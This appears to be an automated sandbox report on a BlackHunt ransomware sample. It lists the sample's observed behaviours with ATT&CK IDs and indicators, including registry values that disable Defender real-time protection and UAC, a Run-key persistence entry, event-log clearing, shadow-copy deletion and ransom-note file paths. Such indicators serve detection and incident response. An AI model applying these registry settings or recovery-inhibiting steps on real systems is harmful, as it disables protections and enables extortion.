3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7

Data Destruction

T1485

pid	Process
11116	fsutil.exe
1592	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
7936	wevtutil.exe
7968	wevtutil.exe
10452	wevtutil.exe
11268	wevtutil.exe
11120	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
6096	bcdedit.exe
8660	bcdedit.exe
10276	bcdedit.exe
8252	bcdedit.exe

Renames multiple (2015) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1552	wbadmin.exe
8348	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	Conhost.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\W:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\E:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\R:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\A:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\I:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\H:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\L:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\T:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\S:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\M:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\K:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\V:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\G:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\J:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\N:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\Z:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\X:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\Y:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\U:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\O:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\B:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\tr-tr\ui-strings.js	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ru-ru\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\S_IlluEmptyStateDCFiles_280x192.svg	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\es-es\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\large_trefoil.png	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_gridview_selected-hover.svg	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\js\ui.js	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\trash.gif	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\pt-br\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\GRAY.pf	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\d3d11\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nb-no\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sl-si\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Protect_R_RHP.aapp	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\he-il\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\it-it\ui-strings.js	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ru-ru\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz-cyrl.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxslt.md	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-ma\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\he-il\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pl-pl\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_output\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\currency.data	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\s_filetype_xd.svg	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\ui-strings.js	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ja-jp\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\zh-cn\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\en-gb\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\telnet.luac	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\de-de\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\asm.md	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fi-fi\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-cn\ui-strings.js	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-si\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pt-br\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fi-fi\ui-strings.js	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\amd64\jvm.cfg	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\back-arrow-default.svg	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
10064	10196	WerFault.exe	259

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5972	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5996	vssadmin.exe
5840	vssadmin.exe
5820	vssadmin.exe
8776	vssadmin.exe
7852	vssadmin.exe
7912	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
12424	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
6204	PING.EXE

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeRestorePrivilege	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeBackupPrivilege	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeTakeOwnershipPrivilege	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeAuditPrivilege	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeSecurityPrivilege	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeIncBasePriorityPrivilege	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeBackupPrivilege	6008	vssvc.exe
Token: SeRestorePrivilege	6008	vssvc.exe
Token: SeAuditPrivilege	6008	vssvc.exe
Token: SeBackupPrivilege	9460	wbengine.exe
Token: SeRestorePrivilege	9460	wbengine.exe
Token: SeSecurityPrivilege	9460	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4636 wrote to memory of 8	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	101
PID 4636 wrote to memory of 8	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	101
PID 4636 wrote to memory of 2904	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	99
PID 4636 wrote to memory of 2904	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	99
PID 4636 wrote to memory of 2060	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	94
PID 4636 wrote to memory of 2060	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	94
PID 4636 wrote to memory of 4856	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	98
PID 4636 wrote to memory of 4856	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	98
PID 4636 wrote to memory of 4644	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	105
PID 4636 wrote to memory of 4644	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	105
PID 4636 wrote to memory of 2720	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	104
PID 4636 wrote to memory of 2720	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	104
PID 4636 wrote to memory of 932	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	106
PID 4636 wrote to memory of 932	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	106
PID 4636 wrote to memory of 1508	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	218
PID 4636 wrote to memory of 1508	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	218
PID 4636 wrote to memory of 4200	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	217
PID 4636 wrote to memory of 4200	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	217
PID 8 wrote to memory of 4740	8	cmd.exe	216
PID 8 wrote to memory of 4740	8	cmd.exe	216
PID 4636 wrote to memory of 2764	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	111
PID 4636 wrote to memory of 2764	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	111
PID 2060 wrote to memory of 2744	2060	cmd.exe	109
PID 2060 wrote to memory of 2744	2060	cmd.exe	109
PID 4636 wrote to memory of 3220	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	113
PID 4636 wrote to memory of 3220	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	113
PID 2904 wrote to memory of 2940	2904	cmd.exe	112
PID 2904 wrote to memory of 2940	2904	cmd.exe	112
PID 4636 wrote to memory of 4460	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	215
PID 4636 wrote to memory of 4460	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	215
PID 4636 wrote to memory of 3480	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	116
PID 4636 wrote to memory of 3480	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	116
PID 4636 wrote to memory of 1252	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	119
PID 4636 wrote to memory of 1252	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	119
PID 4636 wrote to memory of 1528	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	118
PID 4636 wrote to memory of 1528	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	118
PID 4636 wrote to memory of 4988	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	130
PID 4636 wrote to memory of 4988	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	130
PID 4636 wrote to memory of 4796	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	128
PID 4636 wrote to memory of 4796	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	128
PID 4636 wrote to memory of 3180	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	127
PID 4636 wrote to memory of 3180	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	127
PID 4636 wrote to memory of 2696	4636	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	123
